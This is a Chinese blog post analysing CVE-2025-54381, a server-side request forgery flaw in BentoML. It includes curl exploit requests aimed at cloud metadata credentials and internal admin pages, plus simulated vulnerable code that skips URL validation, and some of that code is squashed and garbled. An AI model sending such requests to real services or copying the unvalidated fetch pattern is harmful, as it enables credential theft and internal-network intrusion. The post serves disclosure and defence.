BentoML高危SSRF漏洞CVE-2025-54381分析:原理、影响与核心代码

项目标题与描述

CVE-2025-54381 – BentoML高危SSRF漏洞分析

CVE-2025-54381是一个存在于BentoML(一个用于打包、运送和部署机器学习模型的Python框架)中的严重服务器端请求伪造(SSRF)漏洞。该漏洞允许攻击者通过构造特定的URL请求,使受影响的BentoML服务端向内部网络或云元数据服务发起未经授权的HTTP请求,可能导致敏感信息(如IAM凭证、服务密钥等)泄露。

  • CVE ID:CVE-2025-54381
  • 发布日期:2025年7月30日
  • 发现者:Wiz Research Team
  • 报告至:GitHub Advisory Database & NVD
  • 严重等级:严重
  • CVSS v3.1 分数:9.9 / 10

功能特性(漏洞影响范围)

根据漏洞描述,该漏洞的成因与BentoML框架的特定功能紧密相关:

  • URL-based文件上传功能:BentoML的模型服务API支持通过URL接收文件输入,具体通过以下两种方式实现:
    1. Multipart Form Requests(多部分表单请求)
    2. JSON POST Requests(JSON POST请求)
  • 服务端文件下载:当接收到包含URL的文件输入时,BentoML框架会代表用户(即攻击者)向该URL发起一个服务端的HTTP GET请求以下载文件。
  • 核心问题(漏洞点):框架在发起这个服务端请求之前,未能对用户提供的URL进行充分的验证和过滤。这直接导致了SSRF漏洞。

安装指南(受影响的软件版本)

  • 受影响的软件:BentoML
  • 受影响版本:
    • 所有从1.4.0到并包括1.4.19的版本。
  • 建议:使用受影响版本的用户应立即升级到已修复此漏洞的更高版本(1.4.20或之后)。

使用说明(漏洞利用方式)

该漏洞的利用关键在于构造恶意请求,诱骗BentoML服务器访问内部或受限制的资源。

基础利用示例

攻击者可以向部署的BentoML服务API发送一个特制的请求,其中文件输入字段包含一个指向内部服务的URL。

示例1:访问本地服务

curl-X POST"http://victim-bentoml-service/predict"\-H"Content-Type: application/json"\-d'{ "file_url": "http://127.0.0.1:8080/admin" }'

这可能导致BentoML服务器访问其自身网络环境中的管理面板。

示例2:访问AWS云元数据

curl-X POST"http://victim-bentoml-service/predict"\-H"Content-Type: multipart/form-data"\-F"file=@(echo 'metadata');type=application/x-www-form-urlencoded"\-F"file_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

这可能导致BentoML服务器访问云主机实例的元数据服务,并可能返回附加到该实例的IAM角色的临时安全凭证。

典型攻击场景

  1. 内部网络探测与信息泄露:攻击者可以扫描服务器所在内网的IP和端口,访问内部的数据库管理界面、版本控制系统或其他未公开的Web服务。
  2. 云环境凭证窃取:在AWS、GCP、Azure等云环境中部署的BentoML服务,可能通过访问云供应商特定的元数据端点(如169.254.169.254,metadata.google.internal)而泄露实例的访问令牌或角色凭证。
  3. 权限提升的跳板:获取到的内部服务访问权限或云凭证可能被用于进一步攻击,横向移动至更关键的系统。

核心代码

以下是模拟漏洞核心逻辑的简化代码,展示了BentoML在处理URL文件输入时未进行验证的关键步骤。

importrequestsfromtypingimportDict,AnyimportjsonclassVulnerableBentoMLHandler:""" 模拟存在SSRF漏洞的BentoML请求处理器。 该类展示了框架如何处理来自用户的URL并代表其发起请求。 """defhandle_json_request(self,request_data:Dict[str,Any])->bytes:""" 处理JSON格式的POST请求。 从请求数据中提取`file_url`字段,并直接向其发起GET请求。 漏洞:此处未对`file_url`进行任何验证(如是否为内网IP、保留地址等)。 Args: request_data: 包含`file_url`等字段的JSON数据。 Returns: 从目标URL获取到的文件内容。 """# 从用户请求中直接获取URLtarget_url=request_data.get('file_url')print(f"[!] 正在按用户请求访问URL:{target_url}")# 关键漏洞点:未经验证,直接向用户提供的URL发起请求response=requests.get(target_url,timeout=5)file_content=response.contentprint(f"[+] 成功从{target_url}获取到{len(file_content)}字节数据")returnfile_contentdefhandle_multipart_request(self,form_data:Dict[str,str])->bytes:""" 处理Multipart表单请求。 逻辑与JSON处理类似,同样缺少URL验证。 Args: form_data: 包含`file_url`字段的表单数据。 Returns: 从目标URL获取到的文件内容。 """target_url=form_data.get('file_url')print(f"[!] 正在按用户请求访问URL:{target_url}")response=requests.get(target_url,timeout=5)returnresponse.content# 模拟攻击者利用漏洞if__name__=="__main__":handler=VulnerableBentoMLHandler()# 攻击载荷1: 尝试访问AWS元数据malicious_payload_aws={"file_url":"http://169.254.169.254/latest/meta-data/"}print("攻击示例1:访问AWS元数据端点")# handler.handle_json_request(malicious_payload_aws) # 实际攻击中会执行# 攻击载荷2: 尝试访问本地管理服务malicious_payload_internal={"file_url":"http://localhost:8080/secret-admin-page"}print("\n攻击示例2:访问本地内部服务")# handler.handle_json_request(malicious_payload_internal) # 实际攻击中会执行print("\n漏洞原理:上述代码直接信任了用户输入的`file_url`,导致服务器可被用作代理访问任意地址。")
# 另一个视角:展示如何从API层接收参数并传递到漏洞函数fromflaskimportFlask,request,jsonify app=Flask(__name__)@app.route('/api/predict',methods=['POST'])defpredict():""" BentoML服务API的预测端点。 根据Content-Type,将请求分发给不同的处理器。 此流程本身暴露了未经验证的URL输入点。 """ifrequest.content_type=='application/json':data=request.get_json()# 直接将JSON数据传递给存在漏洞的处理器file_url=data.get('file_url')# ... 其他处理逻辑 ...# 最终会调用类似 `download_file_from_url(file_url)` 的函数returnjsonify({"status":"processing","input_url":file_url}),202elif'multipart/form-data'inrequest.content_type:file_url=request.form.get('file_url')# ... 其他处理逻辑 ...returnjsonify({"status":"processing","input_url":file_url}),202returnjsonify({"error":"Unsupported content type"}),400if__name__=='__main__':app.run(debug=True)

代码注释总结:

  1. 第一段代码 (VulnerableBentoMLHandler) 核心展示了漏洞发生的直接位置:在handle_json_requesthandle_multipart_request方法中,直接从用户输入获取target_url,并调用requests.get()发起网络请求,中间缺少了对该URL的白名单验证、黑名单过滤(针对内网IP、元数据域名等)或协议限制(如仅允许HTTP/HTTPS)
  2. 第二段代码 (Flask app) 展示了漏洞如何通过Web API暴露出来。用户通过向/api/predict端点发送POST请求,即可将恶意URL传入系统处理流程。
  3. 漏洞的本质是过度信任用户输入。修复方案通常是在下载文件前,增加一个严格的URL验证层,例如使用urllib.parse.urlparse解析URL,检查其hostname是否属于内网IP段或已知的危险域名(如云元数据端点),并拒绝此类请求。
    6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAMFeIfFjMVN8vEBCGy26QDQ
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1148343.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DHLA-聚乙二醇-COOH,二羟丙基硫醇-聚乙二醇-羧基,DHLA-PEG-carboxyl

DHLA-聚乙二醇-COOH,二羟丙基硫醇-聚乙二醇-羧基,DHLA-PEG-carboxylDHLA-聚乙二醇-羧基(DHLA-PEG-COOH) 是一种功能化的水溶性聚合物衍生物,由 二氢硫辛酸(Dihydrolipoic Acid, DHLA) 与 聚乙二…

告别模型训练烦恼|AI万能分类器实现自定义标签即时分类

告别模型训练烦恼|AI万能分类器实现自定义标签即时分类 关键词 零样本分类、StructBERT、文本分类、无需训练、WebUI、自然语言处理(NLP)、智能打标、工单分类、舆情分析 摘要 在传统AI项目中,构建一个文本分类系统往往意味着…

Ubuntu挂载硬盘效率对比:传统CLI vs AI自动化

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 制作一个Ubuntu硬盘挂载效率分析工具。需要:1.录制传统分步操作流程耗时 2.记录AI自动化方案的执行时间 3.对比两种方式的错误发生率 4.生成可视化对比图表 5.给出优化…

10分钟搭建CentOS 7.9开发测试环境

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 开发一个快速部署CentOS 7.9开发环境的方案,要求:1. 基于Vagrant和VirtualBox 2. 预装常用开发工具(Git/Docker等) 3. 支持自定义软件包安装 4. 网络和存储…

5分钟搞定网页原型:AI生成HTML模板技巧

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 创建一个快速HTML原型生成器。用户只需提供基本需求描述(如"需要一个产品展示页"),AI就能在1分钟内生成:1) 完整的HTML5页…

TRACE CN实战:电商系统性能优化案例解析

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 开发一个电商系统性能分析工具,利用TRACE CN技术追踪用户请求全链路,包括前端渲染、API调用、数据库查询等环节。要求能生成详细的性能报告,标注…

告别模型训练烦恼|AI万能分类器实现智能文本归类

告别模型训练烦恼|AI万能分类器实现智能文本归类 在人工智能技术飞速发展的今天,自动化的文本分类能力已成为企业构建智能客服、舆情监控、工单处理等系统的刚需。然而,传统文本分类方案往往依赖大量标注数据和漫长的模型训练周期——这对中…

基于StructBERT的零样本分类应用|AI万能分类器让打标更智能

基于StructBERT的零样本分类应用|AI万能分类器让打标更智能 在文本处理与内容理解的工程实践中,自动分类始终是构建智能系统的核心环节。无论是客服工单归类、舆情监测、新闻标签化,还是用户意图识别,传统方法往往依赖大量标注数据…

宏智树 AI:期刊论文写作 “避坑指南”,教育博主实测的学术加速器!

作为深耕论文写作科普多年的博主,经常收到粉丝灵魂拷问:“期刊论文怎么写才能一次过审?”“文献综述怎么梳才不堆砌?”“数据图表怎么呈现才符合期刊规范?” 其实,期刊论文写作的核心痛点无非是 “专业度不…

传统vs现代:HDB驱动下载效率对比实验

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 开发一个驱动下载效率对比工具,功能:1. 记录手动搜索下载时间;2. 自动脚本执行时间统计;3. 生成对比图表;4. 提供优化建…

图像分割算法对比:Rembg技术优势

图像分割算法对比:Rembg技术优势 1. 引言:图像去背景的技术演进与选型挑战 随着电商、内容创作和AI视觉应用的爆发式增长,高质量图像去背景(Image Matting / Background Removal)已成为一项基础且关键的技术需求。传…

ResNet18预训练模型实战:云端10分钟跑通物体识别demo

ResNet18预训练模型实战:云端10分钟跑通物体识别demo 引言 作为一名Java工程师,你可能已经习惯了面向对象编程和Spring框架的世界,但当你想尝试AI领域时,面对各种深度学习模型和Python代码可能会感到无从下手。别担心&#xff0…

Rembg抠图在UI设计中的应用与技巧分享

Rembg抠图在UI设计中的应用与技巧分享 1. 智能万能抠图 - Rembg 在UI/UX设计流程中,图像素材的处理是至关重要的一环。无论是制作高保真原型、设计宣传海报,还是开发移动端界面,设计师常常需要将主体对象从原始背景中精准分离出来。传统手动…

零基础学编程:从黄色Hello World开始

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 生成一个适合初学者的简单黄色主题网页,要求:1. 页面背景为#FFFFE0 2. 显示Hello World黄色文字(#CC9900) 3. 包含一个黄色边框 4. 添加基础HTML结构和CSS样…

宏智树 AI PPT 黑科技:3 类学术场景一键通关,论文人再也不用熬夜排版!

作为深耕论文写作科普多年的博主,后台收到最多的求助不是 “论文框架怎么搭”,也不是 “参考文献怎么排”,而是 “PPT 怎么才能做得又快又专业”!不管是开题报告的思路呈现、论文答辩的成果展示,还是工作汇报的价值传递…

Resilience4J零基础入门:5分钟搭建第一个容错服务

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 创建一个最简单的Spring Boot示例,演示Resilience4J基础功能:1. 添加一个会随机失败的/Random接口;2. 配置熔断器在连续3次失败后打开&#xff…

1小时用多彩直播DC1打造直播原型

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 创建一个快速原型开发模板,基于多彩直播DC1实现:1. 极简直播界面;2. 基础推流功能;3. 简易聊天互动;4. 观看人数统计&am…

宏智树 AI:拆解论文降重 + 去 AIGC 底层逻辑,科普级避坑指南

作为专注论文写作科普的博主,后台每天都被这类问题刷屏:“查重率降不下来,越改重复率越高?”“AI 写的初稿被导师一眼看穿,说有机器味?” 在知网、维普等查重系统算法持续升级,AIGC 检测工具日益…

华为智慧物流实践:数字化转型的底层逻辑与数据准则

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。…

AI如何帮你轻松搞定SQLite数据库开发

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 创建一个AI辅助的SQLite数据库管理工具,能够根据自然语言描述自动生成SQL查询语句,优化数据库结构设计,并提供性能调优建议。工具应包含以下功能…